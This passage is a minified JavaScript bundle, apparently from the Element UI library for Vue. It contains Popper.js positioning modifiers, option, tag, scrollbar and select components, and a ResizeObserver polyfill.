l=m.document.body,u=m.document.documentElement;s=Math.max(l.scrollHeight,l.offsetHeight,u.clientHeight,u.scrollHeight,u.offsetHeight),n=Math.max(l.scrollWidth,l.offsetWidth,u.clientWidth,u.scrollWidth,u.offsetWidth),r={top:0,right:n,bottom:s,left:0}}else if(\"viewport\"===i){var c=o(this._popper),h=a(this._popper),f=d(c),p=\"fixed\"===e.offsets.popper.position?0:function(e){return e==document.body?Math.max(document.documentElement.scrollTop,document.body.scrollTop):e.scrollTop}(h),v=\"fixed\"===e.offsets.popper.position?0:function(e){return e==document.body?Math.max(document.documentElement.scrollLeft,document.body.scrollLeft):e.scrollLeft}(h);r={top:0-(f.top-p),right:m.document.documentElement.clientWidth-(f.left-v),bottom:m.document.documentElement.clientHeight-(f.top-p),left:0-(f.left-v)}}else r=o(this._popper)===i?{top:0,left:0,right:i.clientWidth,bottom:i.clientHeight}:d(i);return r.left+=t,r.right-=t,r.top=r.top+t,r.bottom=r.bottom-t,r},e.prototype.runModifiers=function(e,t,i){var n=t.slice();return void 0!==i&&(n=this._options.modifiers.slice(0,s(this._options.modifiers,i))),n.forEach(function(t){c(t)&&(e=t.call(this,e))}.bind(this)),e},e.prototype.isModifierRequired=function(e,t){var i=s(this._options.modifiers,e);return!!this._options.modifiers.slice(0,i).filter(function(e){return e===t}).length},e.prototype.modifiers={},e.prototype.modifiers.applyStyle=function(e){var t,i={position:e.offsets.popper.position},n=Math.round(e.offsets.popper.left),s=Math.round(e.offsets.popper.top);return this._options.gpuAcceleration&&(t=p(\"transform\"))?(i[t]=\"translate3d(\"+n+\"px, \"+s+\"px, 0)\",i.top=0,i.left=0):(i.left=n,i.top=s),Object.assign(i,e.styles),u(this._popper,i),this._popper.setAttribute(\"x-placement\",e.placement),this.isModifierRequired(this.modifiers.applyStyle,this.modifiers.arrow)&&e.offsets.arrow&&u(e.arrowElement,e.offsets.arrow),e},e.prototype.modifiers.shift=function(e){var t=e.placement,i=t.split(\"-\")[0],s=t.split(\"-\")[1];if(s){var r=e.offsets.reference,o=n(e.offsets.popper),a={y:{start:{top:r.top},end:{top:r.top+r.height-o.height}},x:{start:{left:r.left},end:{left:r.left+r.width-o.width}}},l=-1!==[\"bottom\",\"top\"].indexOf(i)?\"x\":\"y\";e.offsets.popper=Object.assign(o,a[l][s])}return e},e.prototype.modifiers.preventOverflow=function(e){var t=this._options.preventOverflowOrder,i=n(e.offsets.popper),s={left:function(){var t=i.left;return i.left<e.boundaries.left&&(t=Math.max(i.left,e.boundaries.left)),{left:t}},right:function(){var t=i.left;return i.right>e.boundaries.right&&(t=Math.min(i.left,e.boundaries.right-i.width)),{left:t}},top:function(){var t=i.top;return i.top<e.boundaries.top&&(t=Math.max(i.top,e.boundaries.top)),{top:t}},bottom:function(){var t=i.top;return i.bottom>e.boundaries.bottom&&(t=Math.min(i.top,e.boundaries.bottom-i.height)),{top:t}}};return t.forEach(function(t){e.offsets.popper=Object.assign(i,s[t]())}),e},e.prototype.modifiers.keepTogether=function(e){var t=n(e.offsets.popper),i=e.offsets.reference,s=Math.floor;return t.right<s(i.left)&&(e.offsets.popper.left=s(i.left)-t.width),t.left>s(i.right)&&(e.offsets.popper.left=s(i.right)),t.bottom<s(i.top)&&(e.offsets.popper.top=s(i.top)-t.height),t.top>s(i.bottom)&&(e.offsets.popper.top=s(i.bottom)),e},e.prototype.modifiers.flip=function(e){if(!this.isModifierRequired(this.modifiers.flip,this.modifiers.preventOverflow))return console.warn(\"WARNING: preventOverflow modifier is required by flip modifier in order to work, be sure to include it before flip!\"),e;if(e.flipped&&e.placement===e._originalPlacement)return e;var t=e.placement.split(\"-\")[0],s=i(t),r=e.placement.split(\"-\")[1]||\"\",o=[];return o=\"flip\"===this._options.flipBehavior?[t,s]:this._options.flipBehavior,o.forEach(function(a,l){if(t===a&&o.length!==l+1){t=e.placement.split(\"-\")[0],s=i(t);var u=n(e.offsets.popper),c=-1!==[\"right\",\"bottom\"].indexOf(t);(c&&Math.floor(e.offsets.reference[t])>Math.floor(u[s])||!c&&Math.floor(e.offsets.reference[t])<Math.floor(u[s]))&&(e.flipped=!0,e.placement=o[l+1],r&&(e.placement+=\"-\"+r),e.offsets.popper=this._getOffsets(this._popper,this._reference,e.placement).popper,e=this.runModifiers(e,this._options.modifiers,this._flip))}}.bind(this)),e},e.prototype.modifiers.offset=function(e){var t=this._options.offset,i=e.offsets.popper;return-1!==e.placement.indexOf(\"left\")?i.top-=t:-1!==e.placement.indexOf(\"right\")?i.top+=t:-1!==e.placement.indexOf(\"top\")?i.left-=t:-1!==e.placement.indexOf(\"bottom\")&&(i.left+=t),e},e.prototype.modifiers.arrow=function(e){var i=this._options.arrowElement,s=this._options.arrowOffset;if(\"string\"==typeof i&&(i=this._popper.querySelector(i)),!i)return e;if(!this._popper.contains(i))return console.warn(\"WARNING: `arrowElement` must be child of its popper element!\"),e;if(!this.isModifierRequired(this.modifiers.arrow,this.modifiers.keepTogether))return console.warn(\"WARNING: keepTogether modifier is required by arrow modifier in order to work, be sure to include it before arrow!\"),e;var r={},o=e.placement.split(\"-\")[0],a=n(e.offsets.popper),l=e.offsets.reference,u=-1!==[\"left\",\"right\"].indexOf(o),c=u?\"height\":\"width\",d=u?\"top\":\"left\",h=u?\"left\":\"top\",f=u?\"bottom\":\"right\",p=t(i)[c];l[f]-p<a[d]&&(e.offsets.popper[d]-=a[d]-(l[f]-p)),l[d]+p>a[f]&&(e.offsets.popper[d]+=l[d]+p-a[f]);var m=l[d]+(s||l[c]/2-p/2),v=m-a[d];return v=Math.max(Math.min(a[c]-p-8,v),8),r[d]=v,r[h]=\"\",e.offsets.arrow=r,e.arrowElement=i,e},Object.assign||Object.defineProperty(Object,\"assign\",{enumerable:!1,configurable:!0,writable:!0,value:function(e){if(void 0===e||null===e)throw new TypeError(\"Cannot convert first argument to object\");for(var t=Object(e),i=1;i<arguments.length;i++){var n=arguments[i];if(void 0!==n&&null!==n){n=Object(n);for(var s=Object.keys(n),r=0,o=s.length;r<o;r++){var a=s[r],l=Object.getOwnPropertyDescriptor(n,a);void 0!==l&&l.enumerable&&(t[a]=n[a])}}}return t}}),e})},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"div\",{staticClass:\"el-select-dropdown el-popper\",class:[{\"is-multiple\":e.$parent.multiple},e.popperClass],style:{minWidth:e.minWidth}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},s=i(1),r=function(e){return e&&e.__esModule?e:{default:e}}(s),o=i(4);t.default={mixins:[r.default],name:\"ElOption\",componentName:\"ElOption\",inject:[\"select\"],props:{value:{required:!0},label:[String,Number],created:Boolean,disabled:{type:Boolean,default:!1}},data:function(){return{index:-1,groupDisabled:!1,visible:!0,hitState:!1,hover:!1}},computed:{isObject:function(){return\"[object object]\"===Object.prototype.toString.call(this.value).toLowerCase()},currentLabel:function(){return this.label||(this.isObject?\"\":this.value)},currentValue:function(){return this.value||this.label||\"\"},itemSelected:function(){return this.select.multiple?this.contains(this.select.value,this.value):this.isEqual(this.value,this.select.value)},limitReached:function(){return!!this.select.multiple&&(!this.itemSelected&&(this.select.value||[]).length>=this.select.multipleLimit&&this.select.multipleLimit>0)}},watch:{currentLabel:function(){this.created||this.select.remote||this.dispatch(\"ElSelect\",\"setSelected\")},value:function(e,t){var i=this.select,s=i.remote,r=i.valueKey;if(!this.created&&!s){if(r&&\"object\"===(void 0===e?\"undefined\":n(e))&&\"object\"===(void 0===t?\"undefined\":n(t))&&e[r]===t[r])return;this.dispatch(\"ElSelect\",\"setSelected\")}}},methods:{isEqual:function(e,t){if(this.isObject){var i=this.select.valueKey;return(0,o.getValueByPath)(e,i)===(0,o.getValueByPath)(t,i)}return e===t},contains:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],i=arguments[1];if(!this.isObject)return t.indexOf(i)>-1;var s=function(){var n=e.select.valueKey;return{v:t.some(function(e){return(0,o.getValueByPath)(e,n)===(0,o.getValueByPath)(i,n)})}}();return\"object\"===(void 0===s?\"undefined\":n(s))?s.v:void 0},handleGroupDisabled:function(e){this.groupDisabled=e},hoverItem:function(){this.disabled||this.groupDisabled||(this.select.hoverIndex=this.select.options.indexOf(this))},selectOptionClick:function(){!0!==this.disabled&&!0!==this.groupDisabled&&this.dispatch(\"ElSelect\",\"handleOptionClick\",[this,!0])},queryChange:function(e){this.visible=new RegExp((0,o.escapeRegexpString)(e),\"i\").test(this.currentLabel)||this.created,this.visible||this.select.filteredOptionsCount--}},created:function(){this.select.options.push(this),this.select.cachedOptions.push(this),this.select.optionsCount++,this.select.filteredOptionsCount++,this.$on(\"queryChange\",this.queryChange),this.$on(\"handleGroupDisabled\",this.handleGroupDisabled)},beforeDestroy:function(){this.select.onOptionDestroy(this.select.options.indexOf(this))}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"li\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.visible,expression:\"visible\"}],staticClass:\"el-select-dropdown__item\",class:{selected:e.itemSelected,\"is-disabled\":e.disabled||e.groupDisabled||e.limitReached,hover:e.hover},on:{mouseenter:e.hoverItem,click:function(t){t.stopPropagation(),e.selectOptionClick(t)}}},[e._t(\"default\",[i(\"span\",[e._v(e._s(e.currentLabel))])])],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(117),s=i.n(n),r=i(0),o=r(s.a,null,!1,null,null,null);t.default=o.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElTag\",props:{text:String,closable:Boolean,type:String,hit:Boolean,disableTransitions:Boolean,color:String,size:String},methods:{handleClose:function(e){e.stopPropagation(),this.$emit(\"close\",e)}},computed:{tagSize:function(){return this.size||(this.$ELEMENT||{}).size}},render:function(e){var t=[\"el-tag\",this.type?\"el-tag--\"+this.type:\"\",this.tagSize?\"el-tag--\"+this.tagSize:\"\",{\"is-hit\":this.hit}],i=e(\"span\",{class:t,style:{backgroundColor:this.color}},[this.$slots.default,this.closable&&e(\"i\",{class:\"el-tag__close el-icon-close\",on:{click:this.handleClose}},[])]);return this.disableTransitions?i:e(\"transition\",{attrs:{name:\"el-zoom-in-center\"}},[i])}}},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(27),r=i(44),o=n(r),a=i(4),l=i(121),u=n(l);t.default={name:\"ElScrollbar\",components:{Bar:u.default},props:{native:Boolean,wrapStyle:{},wrapClass:{},viewClass:{},viewStyle:{},noresize:Boolean,tag:{type:String,default:\"div\"}},data:function(){return{sizeWidth:\"0\",sizeHeight:\"0\",moveX:0,moveY:0}},computed:{wrap:function(){return this.$refs.wrap}},render:function(e){var t=(0,o.default)(),i=this.wrapStyle;if(t){var n=\"-\"+t+\"px\",s=\"margin-bottom: \"+n+\"; margin-right: \"+n+\";\";Array.isArray(this.wrapStyle)?(i=(0,a.toObject)(this.wrapStyle),i.marginRight=i.marginBottom=n):\"string\"==typeof this.wrapStyle?i+=s:i=s}var r=e(this.tag,{class:[\"el-scrollbar__view\",this.viewClass],style:this.viewStyle,ref:\"resize\"},this.$slots.default),l=e(\"div\",{ref:\"wrap\",style:i,on:{scroll:this.handleScroll},class:[this.wrapClass,\"el-scrollbar__wrap\",t?\"\":\"el-scrollbar__wrap--hidden-default\"]},[[r]]),c=void 0;return c=this.native?[e(\"div\",{ref:\"wrap\",class:[this.wrapClass,\"el-scrollbar__wrap\"],style:i},[[r]])]:[l,e(u.default,{attrs:{move:this.moveX,size:this.sizeWidth}},[]),e(u.default,{attrs:{vertical:!0,move:this.moveY,size:this.sizeHeight}},[])],e(\"div\",{class:\"el-scrollbar\"},c)},methods:{handleScroll:function(){var e=this.wrap;this.moveY=100*e.scrollTop/e.clientHeight,this.moveX=100*e.scrollLeft/e.clientWidth},update:function(){var e=void 0,t=void 0,i=this.wrap;i&&(e=100*i.clientHeight/i.scrollHeight,t=100*i.clientWidth/i.scrollWidth,this.sizeHeight=e<100?e+\"%\":\"\",this.sizeWidth=t<100?t+\"%\":\"\")}},mounted:function(){this.native||(this.$nextTick(this.update),!this.noresize&&(0,s.addResizeListener)(this.$refs.resize,this.update))},beforeDestroy:function(){this.native||!this.noresize&&(0,s.removeResizeListener)(this.$refs.resize,this.update)}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),function(e){function i(e){return parseFloat(e)||0}function n(e){for(var t=[],n=arguments.length-1;n-- >0;)t[n]=arguments[n+1];return t.reduce(function(t,n){return t+i(e[\"border-\"+n+\"-width\"])},0)}function s(e){for(var t=[\"top\",\"right\",\"bottom\",\"left\"],n={},s=0,r=t;s<r.length;s+=1){var o=r[s],a=e[\"padding-\"+o];n[o]=i(a)}return n}function r(e){var t=e.getBBox();return c(0,0,t.width,t.height)}function o(e){var t=e.clientWidth,r=e.clientHeight;if(!t&&!r)return x;var o=C(e).getComputedStyle(e),l=s(o),u=l.left+l.right,d=l.top+l.bottom,h=i(o.width),f=i(o.height);if(\"border-box\"===o.boxSizing&&(Math.round(h+u)!==t&&(h-=n(o,\"left\",\"right\")+u),Math.round(f+d)!==r&&(f-=n(o,\"top\",\"bottom\")+d)),!a(e)){var p=Math.round(h+u)-t,m=Math.round(f+d)-r;1!==Math.abs(p)&&(h-=p),1!==Math.abs(m)&&(f-=m)}return c(l.left,l.top,h,f)}function a(e){return e===C(e).document.documentElement}function l(e){return h?w(e)?r(e):o(e):x}function u(e){var t=e.x,i=e.y,n=e.width,s=e.height,r=\"undefined\"!=typeof DOMRectReadOnly?DOMRectReadOnly:Object,o=Object.create(r.prototype);return _(o,{x:t,y:i,width:n,height:s,top:i,right:t+n,bottom:s+i,left:t}),o}function c(e,t,i,n){return{x:e,y:t,width:i,height:n}}var d=function(){function e(e,t){var i=-1;return e.some(function(e,n){return e[0]===t&&(i=n,!0)}),i}return\"undefined\"!=typeof Map?Map:function(){function t(){this.__entries__=[]}var i={size:{configurable:!0}};return i.size.get=function(){return this.__entries__.length},t.prototype.get=function(t){var i=e(this.__entries__,t),n=this.__entries__[i];return n&&n[1]},t.prototype.set=function(t,i){var n=e(this.__entries__,t);~n?this.__entries__[n][1]=i:this.__entries__.push([t,i])},t.prototype.delete=function(t){var i=this.__entries__,n=e(i,t);~n&&i.splice(n,1)},t.prototype.has=function(t){return!!~e(this.__entries__,t)},t.prototype.clear=function(){this.__entries__.splice(0)},t.prototype.forEach=function(e,t){var i=this;void 0===t&&(t=null);for(var n=0,s=i.__entries__;n<s.length;n+=1){var r=s[n];e.call(t,r[1],r[0])}},Object.defineProperties(t.prototype,i),t}()}(),h=\"undefined\"!=typeof window&&\"undefined\"!=typeof document&&window.document===document,f=function(){return void 0!==e&&e.Math===Math?e:\"undefined\"!=typeof self&&self.Math===Math?self:\"undefined\"!=typeof window&&window.Math===Math?window:Function(\"return this\")()}(),p=function(){return\"function\"==typeof requestAnimationFrame?requestAnimationFrame.bind(f):function(e){return setTimeout(function(){return e(Date.now())},1e3/60)}}(),m=2,v=function(e,t){function i(){r&&(r=!1,e()),o&&s()}function n(){p(i)}function s(){var e=Date.now();if(r){if(e-a<m)return;o=!0}else r=!0,o=!1,setTimeout(n,t);a=e}var r=!1,o=!1,a=0;return s},g=[\"top\",\"right\",\"bottom\",\"left\",\"width\",\"height\",\"size\",\"weight\"],b=\"undefined\"!=typeof MutationObserver,y=function(){this.connected_=!1,this.mutationEventsAdded_=!1,this.mutationsObserver_=null,this.observers_=[],this.onTransitionEnd_=this.onTransitionEnd_.bind(this),this.refresh=v(this.refresh.bind(this),20)};y.prototype.addObserver=function(e){~this.observers_.indexOf(e)||this.observers_.push(e),this.connected_||this.connect_()},y.prototype.removeObserver=function(e){var t=this.observers_,i=t.indexOf(e);~i&&t.splice(i,1),!t.length&&this.connected_&&this.disconnect_()},y.prototype.refresh=function(){this.updateObservers_()&&this.refresh()},y.prototype.updateObservers_=function(){var e=this.observers_.filter(function(e){return e.gatherActive(),e.hasActive()});return e.forEach(function(e){return e.broadcastActive()}),e.length>0},y.prototype.connect_=function(){h&&!this.connected_&&(document.addEventListener(\"transitionend\",this.onTransitionEnd_),window.addEventListener(\"resize\",this.refresh),b?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener(\"DOMSubtreeModified\",this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},y.prototype.disconnect_=function(){h&&this.connected_&&(document.removeEventListener(\"transitionend\",this.onTransitionEnd_),window.removeEventListener(\"resize\",this.refresh),this.mutationsObserver_&&this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&&document.removeEventListener(\"DOMSubtreeModified\",this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},y.prototype.onTransitionEnd_=function(e){var t=e.propertyName;void 0===t&&(t=\"\"),g.some(function(e){return!!~t.indexOf(e)})&&this.refresh()},y.getInstance=function(){return this.instance_||(this.instance_=new y),this.instance_},y.instance_=null;var _=function(e,t){for(var i=0,n=Object.keys(t);i<n.length;i+=1){var s=n[i];Object.defineProperty(e,s,{value:t[s],enumerable:!1,writable:!1,configurable:!0})}return e},C=function(e){return e&&e.ownerDocument&&e.ownerDocument.defaultView||f},x=c(0,0,0,0),w=function(){return\"undefined\"!=typeof SVGGraphicsElement?function(e){return e instanceof C(e).SVGGraphicsElement}:function(e){return e instanceof C(e).SVGElement&&\"function\"==typeof e.getBBox}}(),k=function(e){this.broadcastWidth=0,this.broadcastHeight=0,this.contentRect_=c(0,0,0,0),this.target=e};k.prototype.isActive=function(){var e=l(this.target);return this.contentRect_=e,e.width!==this.broadcastWidth||e.height!==this.broadcastHeight},k.prototype.broadcastRect=function(){var e=this.contentRect_;return this.broadcastWidth=e.width,this.broadcastHeight=e.height,e};var S=function(e,t){var i=u(t);_(this,{target:e,contentRect:i})},M=function(e,t,i){if(this.activeObservations_=[],this.observations_=new d,\"function\"!=typeof e)throw new TypeError(\"The callback provided as parameter 1 is not a function.\");this.callback_=e,this.controller_=t,this.callbackCtx_=i};M.prototype.observe=function(e){if(!arguments.length)throw new TypeError(\"1 argument required, but only 0 present.\");if(\"undefined\"!=typeof Element&&Element instanceof Object){if(!(e instanceof C(e).Element))throw new TypeError('parameter 1 is not of type \"Element\".');var t=this.observations_;t.has(e)||(t.set(e,new k(e)),this.controller_.addObserver(this),this.controller_.refresh())}},M.prototype.unobserve=function(e){if(!arguments.length)throw new TypeError(\"1 argument required, but only 0 present.\");if(\"undefined\"!=typeof Element&&Element instanceof Object){if(!(e instanceof C(e).Element))throw new TypeError('parameter 1 is not of type \"Element\".');var t=this.observations_;t.has(e)&&(t.delete(e),t.size||this.controller_.removeObserver(this))}},M.prototype.disconnect=function(){this.clearActive(),this.observations_.clear(),this.controller_.removeObserver(this)},M.prototype.gatherActive=function(){var e=this;this.clearActive(),this.observations_.forEach(function(t){t.isActive()&&e.activeObservations_.push(t)})},M.prototype.broadcastActive=function(){if(this.hasActive()){var e=this.callbackCtx_,t=this.activeObservations_.map(function(e){return new S(e.target,e.broadcastRect())});this.callback_.call(e,t,e),this.clearActive()}},M.prototype.clearActive=function(){this.activeObservations_.splice(0)},M.prototype.hasActive=function(){return this.activeObservations_.length>0};var $=\"undefined\"!=typeof WeakMap?new WeakMap:new d,E=function(e){if(!(this instanceof E))throw new TypeError(\"Cannot call a class as a function.\");if(!arguments.length)throw new TypeError(\"1 argument required, but only 0 present.\");var t=y.getInstance(),i=new M(e,t,this);$.set(this,i)};[\"observe\",\"unobserve\",\"disconnect\"].forEach(function(e){E.prototype[e]=function(){return(t=$.get(this))[e].apply(t,arguments);var t}});var D=function(){return void 0!==f.ResizeObserver?f.ResizeObserver:E}();t.default=D}.call(t,i(120))},function(e,t){var i;i=function(){return this}();try{i=i||Function(\"return this\")()||(0,eval)(\"this\")}catch(e){\"object\"==typeof window&&(i=window)}e.exports=i},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(5),s=i(122);t.default={name:\"Bar\",props:{vertical:Boolean,size:String,move:Number},computed:{bar:function(){return s.BAR_MAP[this.vertical?\"vertical\":\"horizontal\"]},wrap:function(){return this.$parent.wrap}},render:function(e){var t=this.size,i=this.move,n=this.bar;return e(\"div\",{class:[\"el-scrollbar__bar\",\"is-\"+n.key],on:{mousedown:this.clickTrackHandler}},[e(\"div\",{ref:\"thumb\",class:\"el-scrollbar__thumb\",on:{mousedown:this.clickThumbHandler},style:(0,s.renderThumbStyle)({size:t,move:i,bar:n})},[])])},methods:{clickThumbHandler:function(e){this.startDrag(e),this[this.bar.axis]=e.currentTarget[this.bar.offset]-(e[this.bar.client]-e.currentTarget.getBoundingClientRect()[this.bar.direction])},clickTrackHandler:function(e){var t=Math.abs(e.target.getBoundingClientRect()[this.bar.direction]-e[this.bar.client]),i=this.$refs.thumb[this.bar.offset]/2,n=100*(t-i)/this.$el[this.bar.offset];this.wrap[this.bar.scroll]=n*this.wrap[this.bar.scrollSize]/100},startDrag:function(e){e.stopImmediatePropagation(),this.cursorDown=!0,(0,n.on)(document,\"mousemove\",this.mouseMoveDocumentHandler),(0,n.on)(document,\"mouseup\",this.mouseUpDocumentHandler),document.onselectstart=function(){return!1}},mouseMoveDocumentHandler:function(e){if(!1!==this.cursorDown){var t=this[this.bar.axis];if(t){var i=-1*(this.$el.getBoundingClientRect()[this.bar.direction]-e[this.bar.client]),n=this.$refs.thumb[this.bar.offset]-t,s=100*(i-n)/this.$el[this.bar.offset];this.wrap[this.bar.scroll]=s*this.wrap[this.bar.scrollSize]/100}}},mouseUpDocumentHandler:function(e){this.cursorDown=!1,this[this.bar.axis]=0,(0,n.off)(document,\"mousemove\",this.mouseMoveDocumentHandler),document.onselectstart=null}},destroyed:function(){(0,n.off)(document,\"mouseup\",this.mouseUpDocumentHandler)}}},function(e,t,i){\"use strict\";function n(e){var t=e.move,i=e.size,n=e.bar,s={},r=\"translate\"+n.axis+\"(\"+t+\"%)\";return s[n.size]=i,s.transform=r,s.msTransform=r,s.webkitTransform=r,s}t.__esModule=!0,t.renderThumbStyle=n;t.BAR_MAP={vertical:{offset:\"offsetHeight\",scroll:\"scrollTop\",scrollSize:\"scrollHeight\",size:\"height\",key:\"vertical\",axis:\"Y\",client:\"clientY\",direction:\"top\"},horizontal:{offset:\"offsetWidth\",scroll:\"scrollLeft\",scrollSize:\"scrollWidth\",size:\"width\",key:\"horizontal\",axis:\"X\",client:\"clientX\",direction:\"left\"}}},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={data:function(){return{hoverOption:-1}},computed:{optionsAllDisabled:function(){return this.options.filter(function(e){return e.visible}).every(function(e){return e.disabled})}},watch:{hoverIndex:function(e){var t=this;\"number\"==typeof e&&e>-1&&(this.hoverOption=this.options[e]||{}),this.options.forEach(function(e){e.hover=t.hoverOption===e})}},methods:{navigateOptions:function(e){var t=this;if(!this.visible)return void(this.visible=!0);if(0!==this.options.length&&0!==this.filteredOptionsCount&&!this.optionsAllDisabled){\"next\"===e?++this.hoverIndex===this.options.length&&(this.hoverIndex=0):\"prev\"===e&&--this.hoverIndex<0&&(this.hoverIndex=this.options.length-1);var i=this.options[this.hoverIndex];!0!==i.disabled&&!0!==i.groupDisabled&&i.visible||this.navigateOptions(e),this.$nextTick(function(){return t.scrollToOption(t.hoverOption)})}}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{directives:[{name:\"clickoutside\",rawName:\"v-clickoutside\",value:e.handleClose,expression:\"handleClose\"}],staticClass:\"el-select\",class:[e.selectSize?\"el-select--\"+e.selectSize:\"\"],on:{click:function(t){t.stopPropagation(),e.toggleMenu(t)}}},[e.multiple?i(\"div\",{ref:\"tags\",staticClass:\"el-select__tags\",style:{\"max-width\":e.inputWidth-32+\"px\",width:\"100%\"}},[e.collapseTags&&e.selected.length?i(\"span\",[i(\"el-tag\",{attrs:{closable:!e.selectDisabled,size:e.collapseTagSize,hit:e.selected[0].hitState,type:\"info\",\"disable-transitions\":\"\"},on:{close:function(t){e.deleteTag(t,e.selected[0])}}},[i(\"span\",{staticClass:\"el-select__tags-text\"},[e._v(e._s(e.selected[0].currentLabel))])]),e.selected.length>1?i(\"el-tag\",{attrs:{closable:!1,size:e.collapseTagSize,type:\"info\",\"disable-transitions\":\"\"}},[i(\"span\",{staticClass:\"el-select__tags-text\"},[e._v(\"+ \"+e._s(e.selected.length-1))])]):e._e()],1):e._e(),e.collapseTags?e._e():i(\"transition-group\",{on:{\"after-leave\":e.resetInputHeight}},e._l(e.selected,function(t){return i(\"el-tag\",{key:e.getValueKey(t),attrs:{closable:!e.selectDisabled,size:e.collapseTagSize,hit:t.hitState,type:\"info\",\"disable-transitions\":\"\"},on:{close:function(i){e.deleteTag(i,t)}}},[i(\"span\",{staticClass:\"el-select__tags-text\"},[e._v(e._s(t.currentLabel))])])})),e.filterable?i(\"input\",{directives:[{name:\"model\",rawName:\"v-model\",value:e.query,expression:\"query\"}],ref:\"input\",staticClass:\"el-select__input\",class:[e.selectSize?\"is-\"+e.selectSize:\"\"],style:{\"flex-grow\":\"1\",width:e.inputLength/(e.inputWidth-32)+\"%\",\"max-width\":e.inputWidth-42+\"px\"},attrs:{type:\"text\",disabled:e.selectDisabled,autocomplete:e.autoComplete||e.autocomplete},domProps:{value:e.query},on:{focus:e.handleFocus,blur:function(t){e.softFocus=!1},click:function(e){e.stopPropagation()},keyup:e.managePlaceholder,keydown:[e.resetInputState,function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"down\",40,t.key))return null;t.preventDefault(),e.navigateOptions(\"next\")},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"up\",38,t.key))return null;t.preventDefault(),e.navigateOptions(\"prev\")},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"enter\",13,t.key))return null;t.preventDefault(),e.selectOption(t)},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"esc\",27,t.key))return null;t.stopPropagation(),t.preventDefault(),e.visible=!1},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"delete\",[8,46],t.key))return null;e.deletePrevTag(t)}],compositionstart:e.handleComposition,compositionupdate:e.handleComposition,compositionend:e.handleComposition,input:[function(t){t.target.composing||(e.query=t.target.value)},e.debouncedQueryChange]}}):e._e()],1):e._e(),i(\"el-input\",{ref:\"reference\",class:{\"is-focus\":e.visible},attrs:{type:\"text\",placeholder:e.currentPlaceholder,name:e.name,id:e.id,autocomplete:e.autoComplete||e.autocomplete,size:e.selectSize,disabled:e.selectDisabled,readonly:e.readonly,\"validate-event\":!1},on:{focus:e.handleFocus,blur:e.handleBlur},nativeOn:{keyup:function(t){e.debouncedOnInputChange(t)},keydown:[function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"down\",40,t.key))return null;t.stopPropagation(),t.preventDefault(),e.navigateOptions(\"next\")},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"up\",38,t.key))return null;t.stopPropagation(),t.preventDefault(),e.navigateOptions(\"prev\")},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"enter\",13,t.key))return null;t.preventDefault(),e.selectOption(t)},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"esc\",27,t.key))return null;t.stopPropagation(),t.preventDefault(),e.visible=!1},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"tab\",9,t.key))return null;e.visible=!1}],paste:function(t){e.debouncedOnInputChange(t)},mouseenter:function(t){e.inputHovering=!0},mouseleave:function(t){e.inputHovering=!1}},model:{value:e.selectedLabel,callback:function(t){e.selectedLabel=t},expression:\"selectedLabel\"}},[e.$slots.prefix?i(\"template\",{attrs:{slot:\"prefix\"},slot:\"prefix\"},[e._t(\"prefix\")],2):e._e(),i(\"template\",{attrs:{slot:\"suffix\"},slot:\"suffix\"},[i(\"i\",{directives:[{name:\"show\",rawName:\"v-show\",value:!e.showClose,expression:\"!showClose\"}],class:[\"el-select__caret\",\"el-input__icon\",\"el-icon-\"+e.iconClass]}),e.showClose?i(\"i\",{staticClass:\"el-select__caret el-input__icon el-icon-circle-close\",on:{click:e.handleClearClick}}):e._e()])],2),i(\"transition\",{attrs:{name:\"el-zoom-in-top\"},on:{\"before-enter\":e.handleMenuEnter,\"after-leave\":e.doDestroy}},[i(\"el-select-menu\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.visible&&!1!==e.emptyText,expression:\"visible && emptyText !== false\"}],ref:\"popper\",attrs:{\"append-to-body\":e.popperAppendToBody}},[i(\"el-scrollbar\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.options.length>0&&!e.loading,expression:\"options.length > 0 && !loading\"}],ref:\"scrollbar\",class:{\"is-empty\":!e.allowCreate&&e.query&&0===e.filteredOptionsCount},attrs:{tag:\"ul\",\"wrap-class\":\"el-select-dropdown__wrap\",\"view-class\":\"el-select-dropdown__list\"}},[e.showNewOption?i(\"el-option\",{attrs:{value:e.query,created:\"\"}}):e._e(),e._t(\"default\")],2),e.emptyText&&(!e.allowCreate||e.loading||e.allowCreate&&0===e.options.length)?i(\"p\",{staticClass:\"el-select-dropdown__empty\"},[e._v(\"\\n        \"+e._s(e.emptyText)+\"\\n      